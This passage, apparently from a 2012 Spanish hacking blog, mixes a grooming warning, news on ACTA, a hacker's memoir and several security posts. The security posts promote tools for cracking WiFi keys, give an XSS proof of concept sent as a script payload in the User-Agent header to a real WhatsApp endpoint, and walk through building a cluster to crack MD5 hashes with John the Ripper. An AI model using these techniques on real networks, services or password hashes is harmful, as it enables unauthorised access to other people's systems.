El martes pasé por un instituto en el que tuve una audiencia muy especial: jóvenes de entre 12 y 15 años que, por supuesto, tienen contacto con Internet desde hace mucho, mucho, mucho tiempo. Entre las cosas que quería explicarles era que si no conoces a la otra persona con la que estás chateando puede que esa persona no sea quien dice que es.

Fiarse de un nickname en el que ponga algo como marcos_17_BCN no garantiza que se llame realmente Marcos, ni que tenga 17 años, y por supuesto tampoco que sea de Barcelona. Un nickname no identifica a nadie. Esto es evidente para todo el mundo.

Fiarse de unas fotos que se envían para conocerse cómo son, tampoco identifica a ninguna persona. Si te envían una foto, tal vez deberías buscarla en Internet no vaya a ser que sea una foto pública.

Si la foto no aparece, no tiene porque ser verdad. Las fotos de chicos y chicas robadas de equipos troyanizados con malware se comercializan en el mundo del e-crime y el fraude online para usarlas en suplantación de identidades.

Por último, fiarse de la webcam es para muchos determinante, pero resulta que tampoco te puedes fiar, ya que existen programas como ManyCam que te permiten configurar qué vídeos quieres mostrar por tu webcam en una sesión de chat.

Es por ello que para conseguir un efecto convincente se realizan grabaciones mediante R.A.T.s usando la webcam sin que lo sepa la víctima, que luego se venden y utilizan para romper cualquier barrera de duda que tenga la víctima.

Una vez ganada la confianza de la víctima, los siguientes pasos son conseguir alguna foto o vídeo comprometido de la víctima, que caerá en un esquema de Grooming, que llevará desde la petición de más fotos o vídeos comprometedores para terminar en delitos de extorsión en los que se pide dinero a cambio de no publicarlas.

Por eso, ten cuidado y no te fíes de la gente que no conozcas en persona, y desconfía de extraños que conociste por Internet, desconfía, aunque los veas por la webcam.

Saludos Malignos!

FUENTE

Personalizando El Prompt en Windows 7

2012-12-23T16:01:00.002-08:00

Bueno Hoy Les Traemos este ”Metodo” Para Personalizar el Prompt de la Consola del Windows 7 .
Muy Seguramente se han preguntado si se podía realizar esto, o ya están cansados simplemente de ver el Mismo Prompt
de siempre ?

Si les Hablo de Este :

Pues nada Aquí les Traemos este Pequeño Tutorial de Como Personalizar El Prompt de Tu Consola de Windows 7.
1. inicio > ejecutar > regedit > Aceptar.

( Luego de dar Aceptar nos Saldrá un Aviso Informándonos si permitiremos que el programa realice Cambios sobre el Sistema, a esto le damos que SI ).
2. Luego se Abrirá una Ventana en la Cual Debemos buscar la Siguiente Ruta entre los Registros del Sistema.

“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerEnvironment”

3. Ahora como ya estamos ubicados en la ruta del registro que necesitamos alterar, damos click derecho

Nuevo > Valor de cadena .

Ahora a ese nuevo registro que creamos le colocaremos como Nombre : Prompt

4. Ahora Vamos a editar el contenido de ese Registro, Osea vamos a escribir lo que queremos que Salga en Nuestro

Prompt de la Consola de Nuestro Windows 7 .

( en este caso nosotros le colocaremos r00t@c0d3rs-labs :~# )

Esa información varía dependiendo de como lo Quieras Llamar, si le quieren poner PEPITO pues solo escriben PEPITO y damos click en Aceptar.

4. Listo!! , Ahora por Ultimo Solo queda Cerrar Sesión en Nuestro Sistema e ingresamos de Nuevo y Abrimos Una Consola y Veremos Nuestro Nuevo Prompt de está Manera.

ESTO ES TODO, RECUERDEN QUE ESTO SE DEBE REALIZAR CON PERMISOS DE ADMINISTRADOR SOBRE EL SISTEMA.

salu2.

FUENTE

Europa entierra ACTA

2012-12-21T02:51:00.002-08:00

El Parlamento Europeo ha rechazado esta semana de forma definitiva el tratado 'antipiratería' conocido como ACTA (Anti-Counterfeiting Trade Agreement), un polémico texto que había sido aprobado en bloque por la mayoría de los países europeos a principios de año, y más tarde rechazado por la Eurocámara.
Esta decisión entierra definitivamente el acuerdo en la UE, informa ZDNet News. A pesar del voto a favor de algunos eurodipotados del Partido Popular Europeo (PPE), una alianza entre socialistas y demócratas ha votado en contra de la iniciativa.
El Parlamento Europeo había votado en contra del acuerdo en julio por amplísima mayoría - 478 votos contra 39 y 165 abstenciones-, después de que todos los grupos a excepción del PPE se pronunciaran en contra del pacto internacional durante un debate en Estrasburgo (Francia).
El acuerdo ACTA fue negociado en secreto por los veintisiete países de la UE, Estados Unidos, Canadá, México, Suiza, Marruecos, Japón, Corea del Sur, Singapur, Australia y Nueva Zelanda. Para su entrada en vigor necesitaba la ratificación de, al menos, seis países.

Polémico tratado

El acuerdo ACTA, cuyas negociaciones iniciaron en 2008, pretendía reforzar la protección de la propiedad intelectual en diversos sectores, desde la moda a la industria farmacéutica, pasando por el 'software' y los contenidos digitales.
Su principal novedad era que incluía, por primera vez en este tipo de pactos internacionales, un capítulo exclusivamente dedicado al medio digital. Precisamente, la manera en que ACTA podría afectar a los usuarios de Internet ha generado un amplio debate en todo el mundo y ha levantado las críticas de activistas, partidos políticos y organizaciones cívicas diversas.
Hasta cuatro comisiones europarlamentarias habían recomendado rechazar el acuerdo, mientras que la Comisión Europea recurrió al Tribunal de Justicia de la UE (TUE) en busca de su aval, frente a la presión social por las críticas de usuarios de Internet y las 2,5 millones de firmas que llevaron una queja ante el Parlamento Europeo.

Sacar contraseña wifi 1 segundo

2012-12-04T10:54:00.000-08:00

WiFi Auditor

Descifra al instante claves WiFi y conecta a la red

WiFi Auditor es un programa gratuito que audita la seguridad de algunos routers inalámbricos; si encuentra una vulnerabilidad específica, puedes conectar y navegar (tras pedir permiso, claro).

WiFi Auditor funciona en XP, Vista y 7, pero necesita tener instalado Java para ejecutarse. Haz doble-clic sobre el archivo JAR y WiFi Auditor empezará el escaneo. Elige una de las redes y presiona Auditar.

Si la red es vulnerable al tipo de ataque perpetrado por WiFi Auditor, podrás conectar a la misma automáticamente. Eso sí, la responsabilidad es toda tuya, así que usa WiFi Auditor con cuidado.

Pros

Descifra al instante muchas claves WPA-PSK

Funciona en todos los sistemas operativos

Conexión automática

No requiere instalación

Contras

Sin ayuda

Pocas opciones

Peligroso en manos inexpertas

Hackear Wifi Beini VirtualBox Video Tutorial

2012-12-02T13:01:00.003-08:00

En esta ocasión recuperando un tutorial muy pedido por todos, como crackear contraseñas de wifi usando beini, fácil y rápido, espero lo entiendan y comprendan, saludos.

Descargar VirtualBox

Hspedaje: VirtualBox
Peso: 87,9 MB
Formato: Exe

Descargar Beini

Hospedaje: Mediafire
Peso: 47.09 MB
Formato: Rar
Contraseña: www.lagarto.tk

Nota: si no reconoce tu antena wifi integrada necesitas comprar una antena Wifi USB o probar quemando el beini en un DVD Sony e iniciar desde el arranque configurando tu bios para iniciar desde CD/DVD, si tampoco iniciando asi tampoco te reconoce tu tarjeta integrada de wifi que trae tu computadora entonces si tienes que comprar una antena Wifi USB.

Fuente: Hackear Wifi Beini VirtualBox Video Tutorial El Blog Del Lagarto

Whatsapp XSS Headers [USER-AGENT]

2012-12-01T15:32:00.001-08:00

Iniciando un nuevo dia, recuperandome un poco de mis bajas notas de la universidad... como habia comentado antes sobre mi tiempo de inactividad, hoy decidí divertirme un RATO para aprovechar esos 15 o 30 min sin nada que hacer... ¿Que mejor diversion que divagar en sitios buscando pequeños, basicos o avanzados XSS's ?

Pues bien no pasaron mas de 2:38 Min-Seg cuando ingrese a Whatsapp y note el lindo "detector" de USER-AGENT.

Pues como siempre tenemos ese instinto de "curiosidad" intentamos morir como le paso al pequeño gato curioso, en fin no somos gatos... Por experiencia conozco el tipico pensamiento mediocre de muchos programadores el cual consiste en dedicarle menos tiempo a lo "INTERNO" y que otros usuarios "no pueden ver"... Demasiado mediocre como descuidar Headers, Libs, filtros, etc; Nunca se sabe que tan rapido evoluvione un ataque y benificio XSS asi que segun mi opinion personal es mejor prevenir, aunque este no sea tan CRITICO y LETAL.

PoC

Url Vulnearble: https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=%3CA%3E&me=%3CB%3E&u[]=%3CC%3E

--------------------------------------------------------------------------------------------------

Host: sro.whatsapp.net

User-Agent: [Vuln XSS Simple] <script>alert('@Mazt0r Was Here!')</script> 

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

----------------------------------------------------------------------------------------------------

Result

Nota: una vulnerabilidad basica y sencilla pero se presta para mucha diversion. (Si entienden a lo que me refiero).

[Verguenza usar Windows :( --- Pero No tengo PC al momento]

Saludos y Happy Hacking!

Fuente

Creando un cluster casero para cracking [Linux]

2012-11-29T09:26:00.002-08:00

Objetivos:

Intentaremos conectar todos nuestros PCs para poder tener un rendimiento mas elevado a la hora de realizar una tarea, que en este caso sera la de crackear hashes.

Conceptos básicos:

¿Qué es un clúster?

Conjuntos o conglomerados de computadoras construidos mediante la utilización de componentes de hardware comunes y que se comportan como si fuesen una única computadora. (Wikipedia)

¿Qué es Cracking?

Es un proceso informático que consiste en descifrar la contraseña de determinadas aplicaciones elegidas por el usuario. Se busca codificar los códigos de cifrado en todos los ámbitos de la informática. Se trata del rompimiento o desciframiento de claves. (Wikipedia)

¿Qué es Mpi?

Es un estándar que define la sintaxis y la semántica de las funciones contenidas en una biblioteca de paso de mensajes diseñada para ser usada en programas que exploten la existencia de múltiples procesadores. (Wikipedia)

Comenzamos

Para este tutorial usare la ultima versión de Ubuntu y VMware (Si desean uno libre VirtuaBox) , aunque pueden usar cualquier distribución Linux y obviamente si lo que pretendemos es usar varios ordenadores no usaremos maquinas virtualizadas sino reales.

Lo primero que necesitamos sera un mínimo de 2 ordenadores (en mi caso serán 2 maquinas virtuales pero como les dije para montar un cluster real necesitamos pcs reales), uno hará de servidor y el resto serán nodos.

Bueno no es explicare como instalar VirtualBox ni el Ubuntu pero si tienen dudas solo devén mandarme un mensaje o dejar un comentario y gustosamente les contestare lo antes posible.

Instalando servidor:

Necesitaremos un programa que nos permita realizar ataques de fuerza bruta que sea capaz de romper algoritmos de cifrado o hash, como SHA-1, DES, MD5 y otros. En nuestro caso usaremos Jhon the ripper pero perfectamente podreis usar otro si os familiarizais mas con el.

Openssh-server o si no quieren usar software libre Secure Shell . Lo utilizaremos para realizar comunicaciones cifradas a traves de una red usando el protocolo SSH.

Y por ultimo el paquete libmpich1.0-dev en el que encontraremos PICH que es un programa de biblioteca de desarrollo de libre disposición implementación portable de MPI, una norma estándar de paso de mensaje para aplicaciones de memoria distribuida que utilizan computación paralela. MPICH es software gratuito y disponible para la mayoría de sistemas Unix (incluyendo Linux y Mac OS X) y Microsoft Windows.

libmpich1.0-dev
libmpich-mpd1.0-dev
libmpich-shmem1.0-dev -
mpich2

Para instalar solo debemos escribir el siguiente script

sudo apt-get install libmpich1.0-dev libmpich-mpd1.0-dev

libmpich-shmem1.0-dev mpich2 john openssh-server

Con este mini script descargaremos y instalaremos todos los paquetes necesarios para crear nuestro clúster para cracking. Ahora lo siguiente es configurar la red del clúster para que cada nodo se pueda comunicar entre si, en la misma terminal escribimos

gedit /etc/hosts

En ese archivo nos aparecerán dos primeras líneas las cuales debemos cambiar la segunda, la dirección ip que aparece (127.0.0.1) por la dirección interna que poseemos, en este caso sino tenemos dirección basta hacer un ifconfig para verla. Ahora para crear una dirección IP con su máscara hacemos dentro de la terminal:

sudo ifconfig eth1 192.168.0.3 netmask 255.255.255.0

Donde 192.168.0.3 es la IP de tu maquina. Con esto ya tenemos habilitada nuestra tarjeta de red dentro de la red interna con su respectiva dirección IP. Ahora si cambiamos y guardamos nuestros datos dentro del archivo hosts:

127.0.0.1 localhost 192.168.0.3 virus-laptop servidor

Ahora lo que haremos sera crear el ususario cluster con el cual nos comunicaremos con los demas nodos , en la misma consola escribimos:

sudo useradd -m -s /bin/bash cluster //creamos el usuario cluster

sudo passwd cluster // creamos la contraseña para el usuario cluster

Enter new UNIX password: //

Retype new UNIX password:

passwd: password updated successfully

sudo
 su - cluster -c "mkdir ~/bin;export PATH=~/bin:$PATH" // Creamos la 
carpeta en la cual podremos dejar público hacia los demás nodos la 
información que se necesite procesar.

Configurando MPICH

Creamos un archivo que va hacer nuestro menú de configuración del clúster este debe ir en el directorio ~

touch ~/.mpd.conf

Lo abrimos y ponemos dentro:

Gedit ~/.mpd.conf

secretword=ricteam

Guardamos y listo. Esta configuración la tenemos que hacer en todos los nodos. Ahora crearemos el archivo donde estará la información de los procesadores de cada nodo , esto servirá para que el programa MPICH sepa cuantos procesadores puede utilizar:

touch ~/mpd.hosts

gedit ~/ mpd.hosts

Lo abrimos y escribimos el numero de procesadores que queremos que utilice. Para saber el número de procesadores que tiene nuestra PC escribimos en la terminal

sudo cat /proc/cpuinfo

De esta forma podemos poner el numero de procesadores deseado para el procesamiento de MPICH. Luego que sepamos cuantos procesadores vamos a poner en la configuración de mpd.hosts escribimos dentro de este archivo 192.168.0.3:1 en este caso es 1 procesador el que deseamos poner con MPICH. Ahora probaremos si el servidor clúster funciona correctamente para eso haremos uso de tres comandos:

Mpdboot: Poner en marcha el “entorno” MPICH2Mpdtrace : devuelve las máquinas que se encuentran dentro del cluster.
mpd –help : información del comando
mpdallexit : Apaga el “entorno” MPICH2

Si todo sale bien podemos continuar con la siguiente etapa sino es porque posiblemente no le hemos dado permiso al archivo ~/mpd.hosts

Configurando a Jhonsito (Jhon The Ripper)

Vamos a descargar el paquete que permite utilizar a nuestros programas de craking para varios procesadores:

cluster@virus-laptop:~$ mkdir source

cluster@ virus-laptop:~$ cd source

cluster@ virus-laptop:~/source$

wget http://www.bindshell.net/tools/johntheripper/john-1.7.2-bp17-mpi8.tar.gz mpi8.tar.g

Desempaquetamos el jtr

tar zxvf john-1.7.2-bp17-mpi8.tar.gz

Nos cambiamos de directorio

cd john-1.7.2-bp17-mpi8/src

Lo instalamos

make generic

Para comprobar que el Jhon The Ripper quede bien configurado ejecutamos la siguiente instrucción ubicándonos en la carpeta john-1.7.2-bp17-mpi8/run:

john -format=DES –test

Movemos todo a la carpeta bin para manejar el jhon de forma más cómoda

mv * ~/bin

Como podemos ver la ejecución fue satisfactoria y procedemos a continuar configurando los nodos del clúster. Ahora debemos configurar los nodos los cuales deberán tener la misma contraseña y el mismo usuario que anteriormente llamamos clúster.

Primero: repetimos la segunda etapa y agregamos esto

sudo ifconfig eth1 192.168.0.2 netmask 255.255.255.0

Con esto ya tenemos habilitada nuestra tarjeta de red dentro de la red interna con su respectiva dirección ip.

Segundo: pasamos a configurar el MPICH. Todo esto lo haremos desde el usuario clúster del servidor

cluster@radical es el mismo cluster@virus-laptop

Lo que hicimos allí arriba fue crear una llave de identificación pública la cual nos servirá para que todos los nodos nos reconozcan , ahora el siguiente paso es mandar nuestra llave publica a los demás nodos para que nos reconozcan:

Con esto lo que hicimos fue crear una carpeta para alojar nuestras llaves

Mandamos nuestra llave al nodo

Le decimos cuantos procesadores tenemos para utilizar

Donde dice passphrase colocamos ricteam. Por último abrimos nuestro menú de configuración de clúster y ingresamos el nuevo nodo.

gedit ~/mpd.hosts

Escribimos dentro :192.168.0.2:0

Scp: es un programa que reemplaza al FTP, y a diferencia de éste, es seguro. Es decir la información de usuario y claves, así como el contenido de los archivos transferidos son encriptados antes de ser transferidos para evitar que puedan ser espiados en su paso por la red. Ahora ejecutamos este script:

for i in `cut –delimiter=: -f1 ~/mpd.hosts`; // desde i vamos a delimiter los campos para que cada maquina copie del servidor el archive mpd.hosts do scp ~/.mpd.conf cluster@$i:~;// para cada uno de las maquinas que posean este usuario haga una copia scp ~/mpd.hosts cluster@$i:~;done // copiamos el archivo mpd.hosts en cada máquina con el usuario cluster

Crackeando diferentes cifrados

Mpiexec: Asume una estructura de directorios homogénea en el clúster, buscando el ejecutable por defecto en el directorio actual de trabajo. Sobre la terminal del usuario clúster del servidor escribimos:

echo 497b0bd7178e735eef67720b00c9fc96> dato.txt

mpdboot

for
 i in `cut --delimiter=: -f1 ~/mpd.hosts`;do scp ~/dato.txt 
cluster@$i:~;done //repartimos el archivo para su ejecucion conjunta

Por ultimo ejecutamos:

mpiexec
 -np 3 john --format:raw-MD5 dato.txt // manda señal a cada nodo para 
que haga el trabajo uno por parte del archivo pero todos al mismo 
tiempo.

Hasta aquí ya deberías tener tu propio cluster para cracking distribuido

Un "pequeño" relato (XIII)

2012-11-27T15:11:00.001-08:00

-¿Epíteto o epilogo?
Contrario a lo que pensé, este documento me dio mas de una bofetada cuando la intención era dársela a los demás, una de ellas que me ha llevado mas tiempo asimilar es el ver reflejado lo que realmente era yo como persona dentro y fuera del medio, he quedado asombrado del grado de deshumanización que he sufrido en estos años, no pensé que me afectaría, pero realmente he visto lo vil que puede llegar a ser un ser humano, aun cuando esto en otra época me hubiera dado risa o inclusive lo podría pasar por alto, me di cuenta que no puedo seguir con esta forma de vida, ha sido demasiada inmundicia que quisiera enterrar, pero prefiero hacerlo publico y seguir adelante. Se que este sentimiento de culpa propia no se apartara de mi mente cuando cambie mi modo de vida, expié mis penas o rectifique mi andar, es demasiado tarde como para pedir perdón, agradecerle a la gente que me dio un consejo que nunca tome o hacer que este pedregal me ayude a rectificar mis pasos, aun así no lo haré, no se si es orgullo o algún torcido sentido del honor que pudiera residir en mi lo que me impidió hacer lo que cualquier persona con un dejo de humanidad debía hacer, pero todo ello se ha esfumado, mi orgullo, mi humanidad y mi honor. Gran parte de mi vida la dedique a encontrar 3 vacíos espirituales para acrecentar mis fortalezas; Un enemigo, una batalla y una verdad.
A un enemigo lo busque porque pensé que centrar cuerpo, mente y espíritu en ello me daría algo por lo cual despertarme dic con dic con bríos fundados en la meta de enfrentarlo, superarlo y pulverizarlo... pero era una mentira, el único enemigo digno para mi seria aquel que me derrotase y aun en el dolor de esa derrota poder disfrutar mi propia sangre vertiéndose en el piso, busque por todos los frentes de guerra y nunca lo halle, comencé peleas sin sentido para encontrarlo entre los escombros pero no fue así, hice retumbar la tierra con gritos de furia con la esperanza de que alguien digno de enfrentarse a mi se despertara, pero no tuve éxito. Al final pude encontrar al único enemigo digno que se cruzo en mi camino, nunca lo vi como tal hasta que reconocí que nadie como el seria un justo rival que equiparase mi fuerza, que disfrutaría las derrotas aun mas que las victorias, que no podría ver el dic en que esto se terminara, que su vida fuera dedicada a mostrar honor en el campo, satisfacción eufórica al ser vencido e incomplacencia iracunda al ser el vencedor, en nadie mas encontré esas cualidades mas que en el, en alguien de mi plena confianza, en alguien al cual estimo, aprecio y jamás traicionaría; Quien si no un amigo, uno de los mejores que halle en este periodo, podrá darme en el futuro la mas feroz de las batallas.

Mi batalla pensé que duraría por siempre, cientos de campos por arrasar, millares de ejércitos por aniquilar, armas insuficientes para mis manos, fatiga que nunca medraria, trofeos y cabezas insuficientes para celebrar, ríos de sangre que no llenarían la copa de un sediento, tierras por conquistar que no merecen ser pisadas, un puño que no alcanza el cielo por mas que este se ize en el horizonte, no habría un atardecer que finalizara el dic, ni un alba que me despertase de la locura, pero al final de esta campaña descubrí que no hay paz, no hay enemigos, no hay batalla, todo esto fue solo una excusa para demostrarle a todos los caídos en el camposanto que era el mas poderoso, a sabiendas que este clamor jamás recibiría replica o vitoreo, estas victorias, habrían de pulir mi coraje y tesón, que no tendría dificultades para librar este tramite y entraría de lleno a una batalla encarnizada llevando como estandarte mi verdad y derrotar a cuanto adversario me encontrara, todo para llegar a una guerra que sabia que jamás ganaría, de la cual deseaba ser vencido con mi arma en la mano, que disfrutaría cada segundo de agonía al final de mi vida, gozando del frió suelo con mi cuerpo descarnado y aun cuando mi cuerpo y espíritu se desvanecieran al pasar de los años, mi honor seria el epitafio que recordaría que de nada me valió librar todas esas peleas si nunca pude encontrar un campo de batalla que me llevase a la guerra que terminara con mi búsqueda; Una verdad, mi verdad.
Una verdad que profanara la tierra indómita, flanqueara la defensa mas sólida, derrumbara la muralla indestructible, penetrara la fortaleza milenaria, eliminara al guardián mas feroz, destrozara el bastión de mi reino y depreciara el tesoro mas codiciado; Mi orgullo. Yo se cual era mi punto débil y como tal ofrecí una recompensa que superaría cualquier botín jamás otorgado para aquel gallardo héroe que lograra derrocarme de mi atril y tomara mi lugar para desde ahí conjurar su victoria, esa recompensa era mi cuerpo cabizbajo reconociendo mi derrota. Por desgracia ese escenario no se presento ante ninguna persona con la cual me enfrentara, eso sin lugar a duda incremento mi cerrazón a no aceptar cualquier verdad, solo aceptaría una verdad que viniera de algún oponente digno de tangir mis fuerzas, pero no lo encontré. Por doquier busque alguien que equiparase mi supuesta coraza indestructible la cual blandía a la par de mi furia como mi arma en todo momento, pero jamás obtuve un rasguño en mi armadura o una mella en mi espada. No he podido encontrar esa verdad porque mi orgullo siempre fue la venda que cubría a mis ojos de su resplandor, mi orgullo es mi flaqueza, me falta demasiado para llegar a esta verdad, solo espero que esta no cierre mi los ojos tal como a todos los que dicen haberla encontrado.

EPILOGO

Este texto tuvo un fin practico (Al menos eso espero), y fue el mostrarles que paso con esta generación y con su gente, se que gran parte de las personas que me prestaron un par de horas de su vida para leer este trabajo sacaran algo de provecho, este material mas que documental, fue educativo, tuvo un fin oculto desde el principio y fue en gran parte una medida preventiva para las hordas de mocosos estúpidos que a como de lugar quieren figurar en el medio; No lo intenten, ayuden a la comunidad haciendo algo de provecho, fíjense metas factibles, cuando las alcancen fíjense otras que tengan posibilidad de realizar con todo lo que ganaron de experiencia. Lo ultimo que puedo pedirles es que dejen morir esta generación en paz, ya fueron muchos tumultos y peleas, ya basta. Para las próximas generaciones habrá espacio de sobra reservado en la historia y esta en ustedes escribir con su propia mano la historia misma, por lo pronto este episodio ya se acabo desde hace mucho tiempo, no insistan. La gente de la vieja guardia quiere solo ser recordada por su trabajo, no por por hazañas personales, simplemente quieren descansar y vivir lo que la vida fuera del medio les tiene preparado.
Este texto fue drásticamente modificado de la versión original que tenia planeado escribir, originalmente mi intención era de escribirlo en no menos de 150 hojas, usando casi todas las vulgaridades que han sido escritas en los baños de una cantina, señalando con el índice a todos los actores que quedaron en el anonimato en muchos párrafos de este texto, con un exagerado uso de modismos y vocablos dignos de un crucigrama y unas decenas de logs y registros de las idioteces que sucedían diariamente en el equipo. Todas estas cosas divertidas fueron eliminadas para darle mayor fluidez al texto, hacerlo de fácil lectura y por lo menos no tan ofensivo a la vista. Claro que saldrá esa versión sin censura a la luz, siempre y cuando una editorial me pague una asquerosa cantidad de dinero y no lo ponga en un estante de libros haciendo fila con los Chistes de Tutti-fruti de Editorial Selector junto a la caja registradora de un Sanborns.
Con el cierre de Proyecto Argelia marco la finalización de este modo de vida que lleve a lo largo de estos años, el proyecto tenia como finalidad adentrarme en la vida de un hacker, al cual impersonifique con el nombre de “Argelia” en un sin numero de ocasiones. Hasta hoy solo un par de personas saben quienes conformábamos este proyecto, inclusive nuestra gente ignora que este nombre fue utilizado para trabajos que fueron mas allá del espionaje entre equipos vecinos y que 3 personas dieron vida propia a ese nombre para tales fines, lo que ellos y ustedes saben al dic de hoy es que nunca estuve solo y que una pequeña parte del proyecto esta volcado en este texto, lo demás me lo llevo a la tumba pues son recuerdos, experiencias, amistades y muchas cosas que espero no se repitan nunca mas.
Agradecimientos
Quiero agradecer a todos los que se chutaron las 22000 palabras contenidas en este relato, pues ustedes son dignos de mi gratitud por tener tanto tiempo libre como para invertirlo en este pasquín que les traje hoy hasta ustedes, a todos los que me soportaron, son demasiados como para nombrarlos así que se la pelan, a todos los actores que hice alusión en este relato, cuyos nombres no fueron mencionados pero tendré la oportunidad de darles el crédito apropiado cuando me interrogue el Gobierno Federal, a todos los compas, conocidos, cuates y valedores que hice a lo largo de esta aventura y que no he tenido el gusto de verlos tan seguido como quisiera, pues se que algún dic podremos brindar con jugo de uva nuevamente, a todos los chiquillos idiotas que tuvieron la mala suerte de ser insultados por mi en ese periodo, pues ellos saben que habrá otras oportunidades para que los pulverice en mis acostumbradas peleas argumentativas, a todos mis enemigos de cartón que se cruzaron en el camino de este testarudo, pues ellos saben que en la trinchera de internet y fuera en la calle les pediré atentamente que alcen las manos para quebrarles el rabo a patadas, a todos los censores que meticulosamente verificaron que este texto no contenía ni una sola majadería, cuestión que me costo demasiado trabajo, pues tuve que prescindir de un vasto numero de palabras que bien pudieron hacer mas extenso y entretenido este relato, a todas las generaciones que me precederán, pues este texto va para todos ustedes junto con mis consejos y sarcasmos que nunca les faltaran cuando me pregunten estúpideces, a todos mis prestanombres, Atma, Reikon, Masiosare, Fatal III y a Fatal, por darme una identidad falsa todos estos años y en especial a todas las personas que conocí en estos años turbulentos y los pude tratar como verdaderos amigos aun cuando no se los he dicho abiertamente, pues a estas alturas del texto les expreso mis votos de confianza para contar conmigo aun cuando todos sabemos que esto se acabo. A todos gracias...

Un "pequeño" relato (XII)

2012-11-27T00:21:00.000-08:00

-La dulce agonía llamada vida

No se como es que la gente sobresale de entre los demás, probablemente es la lucha mas importante de toda nuestra existencia y no nos damos cuenta de todo lo realizado hasta que llega el ultimo respiro de nuestra existencia. Aquí se deriva una gran pregunta de la cual aun no tengo respuesta, como siempre, solo es un teorema aun sin llegar a ser verdad absoluta; Que queremos tener en la vida? ¿La casa en una zona exclusiva de una gran metrópolis, la residencia grande con 7 habitaciones, el auto lujoso de firma alemana, el traje italiano hecho a la medida, los zapatos con piel de caimán autentica, la corbata de diseñador hecha de seda, el reloj de oro con numero de serie de 4 dígitos, la pluma costosa para firmar tratos internacionales, las 8 cifras en la cuenta de un banco suizo, la billetera con papeles de alta denominación, la tarjeta de crédito con el nombre engarzado en platino, la agenda repleta de citas inaplazables, las cenas con 2 meses de anticipación, los amigos influyentes en las altas esferas del poder, las conexiones de solo unos cuantos, el titulo oneroso en una universidad norteamericana, la tesis universitaria hecha Best-Seller, un acrónimo precediendo su nombre de pila en la puerta del despacho, la oficina con acabados en pino chileno, recuerdos de los múltiples viajes a sitios exóticos, la esposa mas hermosa que halla pisado este país, los hijos con inteligencia excepcional, la salud de un semental pura sangre, el seguro de vida mas completo ofrecido en Hong-Kong, la tecnología de punta japonesa en cada enser domestico, el sillón confortable ajustado a cada vértebra del cuerpo, la ultima botella de cosecha 1789 de cogñac, la mano sosteniendo una copa de Bacarát, la diestra empuñando una fina escuadra con el cargador lleno, la bala .9mm penetrando la rígida testa y la mirada agonizante perdiéndose en el vació que dibuja la respuesta: “No lo logre”.

Todos los padres del mundo quieren lo mejor para sus hijos, en la pobreza o en la mas onerosa de las opulencias, cuando tenemos uso de razón o por lo menos cuando podemos vocalizar un estado afirmativo se nos pregunta si queremos ser los mejores. No importa si de niños queremos ser bomberos, doctores, abogados, licenciados, ingenieros, comerciantes, vagos, ladrones, viciosos o errantes, queremos ser los mejores y nuestros padres quieren ver los frutos a futuro de esta afirmación prematura. ¿Cuantas personas pueden en este momento decir de si mismos: “Soy el mejor”? Probablemente muchísimas personas contesten de esa manera, no sin antes recapitular todos los logros hechos y las metas cumplidas en la vida, sus posesiones, sus logros sobresalientes, los diplomas y reconocimientos adquiridos en toda su trayectoria y los obstáculos vencidos para conquistar el titulo de ser el mejor. Pero automáticamente me viene otra pregunta a la mente.¿Cuantas personas en el planeta pueden afirmar que: “Eres el mejor”? ¿Mama? ¿Papa? ¿Tus amigos? ¿Tus subordinados? ¿El Presidente? ¿Mike Wallace? ¿Forbes? ¿El Instituto Tecnológico de Massachusetts? ¿El Comité Noruego del Instituto Nóbel? ¿La historia? Entonces dime, ¿quien te designo a ti, como el mejor en cualquiera que sea tu campo? ¿Quien designa al mejor de cada una de las técnicas y especialidades comprendidas por el ser humano? ¿Quien rayos eres tú para autoproclamarte como el mejor? Y si no eres el mejor, entonces ¿quien eres tu y quienes somos el resto del maldito planeta? Fácil; Otro mas.
Me fascina esa respuesta, ¿saben? Esta es una de las únicas cosas que puedo firmar con mi nombre y apostar mi brazo derecho a que no hay verdad mas cierta. Casi nadie da esta respuesta y si la dan lo hacen de mala gana, con desfachatez y encono, por eso la toma la gente como una ofensa. Pero hoy se los puedo decir con lo ancho y fulgurante que es mi sonrisa abierta de par en par, sin mas compromiso que el de hacerlos sentir bien y principalmente comunicarles lo fantástico que es vivir cargando esta verdad a cuestas todos los días de mi existencia, ustedes, tal como yo somos otro mas. Tomando como ejemplo la divertida escena cotidiana de nuestra vida contemporánea que use al principio de este capitulo, habrá mas de un osado que dirá: “Caramba, esa si es vida, imaginate, un carrote, una casota bien grandota, una viejota y un montón de dinero, eso es lo que yo quiero en la vida”. Siendo jóvenes, empezamos a conocer las comodidades, el dinero y la buena vida, queremos llegar a alguna meta que nos provea felicidad, principalmente que nos saque del estándar común de vida. Pero nada es gratis, hay que trabajar duro para conseguir ese extra que nos vaya colocando en un nivel mas alto, cada vez mas alto, si empezamos caminando, entonces hay que llegar a tener una bicicleta, luego un Volkswagen 78’, seguimos escalando para llegar a un sedan de mas clase, de ahí lo que sigue es un BMW M-5, no conforme seguiría un Ferrari F-50 y al final un Rolls Royce, la creme de la creme... ¿y? ¿Cuantos antes que tú han conseguido cada uno de esos vehículos, en menor tiempo, a menor edad y sin tanto esfuerzo? No eres el único, eres otro más. Así es, cuando hayas llegado a tener ese flamante Rolls Royce, hecho en un 60% a mano, serás otro de los felices poseedores de uno de los tantos Rolls Royce que existen.
Los dados están calientes y la mesa esta fría, vamos a darle otro vuelco al destino: Si tu meta es ser el mas destacado de los médicos del país o quizás, del mundo, ¿que necesitarías? Aun cuando tus ingresos sean insuficientes y no puedas costearte una educación de supuesta “calidad” en una escuela privada, podrás aspirar a ingresar a una de las universidades publicas del gobierno, previo a ello y con muchos esfuerzos conseguiste obtener una impresionante calificación de estudios medio-superiores de 9.9 la mas alta calificación obtenida en toda tu generación, la universidad es algo difícil, pues humanamente te es apenas sostenible el manejar tu vida levantándote diario a las 7am, atender clases de 9 a 2, 1 hora para comer, llegar con la mitad de ingesta normal diaria a tu trabajo de medio tiempo para ganar un salario modesto pero que da suficientes dividendos para sobrellevar el transporte, el alquiler de una vivienda y las 2 comidas diarias que alcanzas a medio deglutir, al salir de tu trabajo a las 9 de la noche puedes, con suerte, llegar a tu departamento a las 11 de la noche, solo para comer un par de bocados de tu cena, pues los deberes escolares son un cúmulo de papeles que parecen no llegar a un fin, rasando las 2 de la mañana haz completado tus labores diarias y te duermes con la esperanza 